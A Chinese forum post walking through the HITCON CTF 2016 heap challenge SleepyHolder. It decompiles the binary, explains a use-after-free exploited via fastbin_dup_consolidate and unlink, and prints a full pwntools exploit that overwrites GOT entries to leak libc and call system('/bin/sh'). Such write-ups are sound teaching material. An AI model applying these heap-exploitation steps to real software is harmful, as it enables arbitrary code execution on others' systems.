吾爱破解 - 52pojie.cn

 找回密码
 注册[Register]

QQ登录

只需一步,快速开始

查看: 1224|回复: 0
收起左侧

[CTF] HITCON CTF 2016 : SleepyHolder

[复制链接]
R00tkit 发表于 2023-8-25 15:50
本帖最后由 R00tkit 于 2023-9-22 19:50 编辑

检查文件信息

1

1

2

2

ELF64小端动态链接的bin,没有开PIE和FULL RELRO。

4

4

ubuntu14.04应该用glibc_2.19,我这里用的glibc2.23,如果要用2.19的libc可以整一个本地的libc-database,然后下载相应版本即可。

20

20

改libc为glibc2.23。

试运行

6

6

逆向分析

/* main */

void __fastcall __noreturn main(__int64 a1, char **a2, char **a3)
{
  int v3; // eax
  unsigned int buf; // [rsp+4h] [rbp-1Ch] BYREF
  int fd; // [rsp+8h] [rbp-18h]
  int v6; // [rsp+Ch] [rbp-14h]
  char s[8]; // [rsp+10h] [rbp-10h] BYREF
  unsigned __int64 v8; // [rsp+18h] [rbp-8h]

  v8 = __readfsqword(0x28u);
  sub_400CEB(a1, a2, a3);
  puts("Waking Sleepy Holder up ...");
  fd = open("/dev/urandom", 0);
  read(fd, &buf, 4uLL);
  buf &= 0xFFFu;
  malloc(buf); // 初始化堆
  sleep(3u);
  puts("Hey! Do you have any secret?");
  puts("I can help you to hold your secrets, and no one will be able to see it :)");
  while ( 1 )
  {
    puts("1. Keep secret");
    puts("2. Wipe secret");
    puts("3. Renew secret");
    memset(s, 0, 4uLL);
    read(0, s, 4uLL);
    v3 = atoi(s);
    v6 = v3;
    switch ( v3 )
    {
      case 2:
        wipe();
        break;
      case 3:
        renew();
        break;
      case 1:
        keep();
        break;
    }
  }
}
/* keep */

unsigned __int64 keep()
{
  int v0; // eax
  char s[8]; // [rsp+10h] [rbp-10h] BYREF
  unsigned __int64 v3; // [rsp+18h] [rbp-8h]

  v3 = __readfsqword(0x28u);
  puts("What secret do you want to keep?");
  puts("1. Small secret");
  puts("2. Big secret");
  if ( !huge_in_use )  // 只可申请一次huge
    puts("3. Keep a huge secret and lock it forever");
  memset(s, 0, 4uLL);
  read(0, s, 4uLL);
  v0 = atoi(s);
  if ( v0 == 2 )
  {
    if ( !big_in_use )
    {
      big_ptr = calloc(1uLL, 0xFA0uLL);
      big_in_use = 1;
      puts("Tell me your secret: ");
      read(0, big_ptr, 0xFA0uLL); // 可能泄露信息
    }
  }
  else if ( v0 == 3 )
  {
    if ( !huge_in_use )
    {
      huge_ptr = calloc(1uLL, 0x61A80uLL);
      huge_in_use = 1;
      puts("Tell me your secret: ");
      read(0, huge_ptr, 0x61A80uLL); // 可能泄露信息
    }
  }
  else if ( v0 == 1 && !small_in_use )
  {
    small_ptr = calloc(1uLL, 0x28uLL);
    small_in_use = 1;
    puts("Tell me your secret: ");
    read(0, small_ptr, 0x28uLL); // 可能泄露信息
  }
  return __readfsqword(0x28u) ^ v3;
}
/* wipe */

unsigned __int64 wipe()
{
  int v0; // eax
  char s[8]; // [rsp+10h] [rbp-10h] BYREF
  unsigned __int64 v3; // [rsp+18h] [rbp-8h]

  v3 = __readfsqword(0x28u);
  puts("Which Secret do you want to wipe?"); // 不可释放huge
  puts("1. Small secret");
  puts("2. Big secret");
  memset(s, 0, 4uLL);
  read(0, s, 4uLL);
  v0 = atoi(s);
  if ( v0 == 1 )
  {
    free(small_ptr);  // 未置零,UAF
    small_in_use = 0;
  }
  else if ( v0 == 2 )
  {
    free(big_ptr); // 未置零,UAF
    big_in_use = 0;
  }
  return __readfsqword(0x28u) ^ v3;
}
/* renew */
unsigned __int64 renew()
{
  int v0; // eax
  char s[8]; // [rsp+10h] [rbp-10h] BYREF
  unsigned __int64 v3; // [rsp+18h] [rbp-8h]

  v3 = __readfsqword(0x28u);
  puts("Which Secret do you want to renew?");
  puts("1. Small secret");
  puts("2. Big secret");
  memset(s, 0, 4uLL);
  read(0, s, 4uLL);
  v0 = atoi(s);
  if ( v0 == 1 )
  {
    if ( small_in_use )
    {
      puts("Tell me your secret: ");
      read(0, small_ptr, 0x28uLL);  // 可能存在信息泄露
    }
  }
  else if ( v0 == 2 && big_in_use )
  {
    puts("Tell me your secret: ");
    read(0, big_ptr, 0xFA0uLL); // 可能存在信息泄露
  }
  return __readfsqword(0x28u) ^ v3;
}

漏洞利用

因为存在一次large bin的申请,会触发__malloc_consolidate,而且存在UAF漏洞,可以通过fastbin_dup_consolidate来形成double free,而且这个过程会把后一个chunk的PREV_INUSE位置为0。而small_ptr的大小为0x28,对齐时可以修改后一个chunk的prev_size位,可控空间大小为0x28,可以构造fake_chunk进而形成unlink,达到任意地址写。

def unlink():
    keep(1,b'b'*0x8)
    keep(2,b'a'*0x8)
    wipe(1)
    #debug()
    keep(3,b'a'*0x8) # FDC mov 1-> small bin and set 2->PREV_INUSE=0
    #debug()
    wipe(1) # DF
    #debug()

    payload = p64(0) + p64(0x21)
    payload += p64(small_ptr-0x18)
    payload += p64(small_ptr-0x10)
    payload += p64(0x20)
    keep(1,payload)
    #debug()
    wipe(2)
    #debug()

9

9
首先申请small,big两个堆块,然后释放small,因为程序在main函数里已经进行过初始化操作,所以small会被放入fastbin。

10

10
再次申请一个large bins大小的chunk,会触发fastbin_dup_consolidate(),然后将fast bin中的small拿出来放入small bins。

11

11
此时再次释放small,便可绕过double free检查,small被同时放入small bins和fast binY。

12

12
因为small的大小为0x28,会占用后一个chunk的prev_size位,我们可以再次将small申请回来,构造fake chunk,fake_fd,fake_bk和修改下一个chunk的prev_size。关于unlink的原理我不在赘述,请看我的上一篇文章(HITCON CTF 2016:Secret Holder)

13

13
此时释放big即可完成unlink,将small_ptr指向了自身上方0x18的位置。

然后利用打印函数泄露libc,再根据bss的布局调整重写即可

def get_shell():
    keep(2,b'a'*0x8)
    # 6020B8->AAAAAAA big_ptr huge_ptr small_ptr big_in_use huge_in_use
    payload = b"A"*8 + p64(puts_got) + p64(0) + p64(free_got) + p32(1) + p32(1)
    renew(1,payload)
    renew(1,p64(puts_plt))
    debug()

    wipe(2)

    puts_addr = u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))
    libc_base = puts_addr - libc.symbols['puts']
    system_addr = libc_base + libc.symbols['system']

    keep(2,b'a'*0x8)
    renew(1,p64(system_addr))
    renew(2, b'/bin/sh\x00')
    wipe(2)

14

14 在IDA里可以看到bss布局

15

15 我们改完以后(renew(1,payload)之后)bss布局。

16

16 再次修改small内容,就是修改free_got内容,将free_got换成puts_plt,打印big内容就可以把puts_got打印出来,进而得到libc基址。

17

17

18

18

然后将free_got内容改为system函数地址,在申请一个big,将其内容改为'/bin/sh\x00',释放big既可以getshell。

19

19

完整exp

from pwn import *

context.arch='amd64'
context.terminal=['tmux', 'splitw', '-h']

elf = ELF('./SleepyHolder')
libc = ELF('/root/glibc-all-in-one/libs/2.23-0ubuntu11.3_amd64/libc-2.23.so')

free_got = elf.got['free']
puts_plt = elf.plt['puts']
puts_got = elf.got['puts']

small_ptr = 0x6020d0 # 1 0x28 0x30
big_ptr = 0x6020c0   # 2 0xfa0
huge_ptr = 0x6020c8  # 3 0x61a80

p = process("./SleepyHolder")

def debug():
    gdb.attach(p)
    pause()

def keep(index, content):
    p.recvuntil(b"Renew secret\n")
    p.sendline(b"1")
    p.recvuntil(b"\n")
    p.sendline(str(index).encode())
    p.recvuntil(b"secret: \n")
    p.send(content)

def wipe(index):
    p.recvuntil(b"3. Renew secret\n")
    p.sendline(b"2")
    p.recvuntil(b"Big secret\n")
    p.send(str(index).encode())

def renew(index, content):
    p.recvuntil(b"Renew secret\n")
    p.sendline(b"3")
    p.recvuntil(b"Big secret\n")
    p.sendline(str(index).encode())
    p.recvuntil(b"secret: \n")
    p.send(content)

def unlink():
    keep(1,b'b'*0x8)
    keep(2,b'a'*0x8)
    wipe(1)
    #debug()
    keep(3,b'a'*0x8) # FDC mov 1-> small bin and set 2->PREV_INUSE=0
    #debug()
    wipe(1) # DF
    #debug()

    payload = p64(0) + p64(0x21)
    payload += p64(small_ptr-0x18)
    payload += p64(small_ptr-0x10)
    payload += p64(0x20)
    keep(1,payload)
    #debug()
    wipe(2)
    #debug()

def get_shell():
    keep(2,b'a'*0x8)
    # 6020B8->AAAAAAA big_ptr huge_ptr small_ptr big_in_use huge_in_use
    payload = b"A"*8 + p64(puts_got) + p64(0) + p64(free_got) + p32(1) + p32(1)
    renew(1,payload)
    renew(1,p64(puts_plt))
    #debug()
    wipe(2)

    puts_addr = u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))
    libc_base = puts_addr - libc.symbols['puts']
    system_addr = libc_base + libc.symbols['system']

    keep(2,b'a'*0x8)
    renew(1,p64(system_addr))
    renew(2, b'/bin/sh\x00')
    #debug()
    wipe(2)

def pwn():
    unlink()
    get_shell()
    p.interactive()

if __name__ == '__main__':
    pwn()

免费评分

参与人数 2吾爱币 +5 热心值 +2 收起 理由
笙若 + 1 + 1 谢谢@Thanks!
ZeNiX + 4 + 1 用心讨论,共获提升!

查看全部评分

发帖前要善用论坛搜索功能,那里可能会有你要找的答案或者已经有人发布过相同内容了,请勿重复发帖。

您需要登录后才可以回帖 登录 | 注册[Register]

本版积分规则

返回列表

RSS订阅|小黑屋|处罚记录|联系我们|吾爱破解 - LCG - LSG ( 京ICP备16042023号 | 京公网安备 11010502030087号 )

GMT+8, 2024-12-23 17:19

Powered by Discuz!

Copyright © 2001-2020, Tencent Cloud.

快速回复 返回顶部 返回列表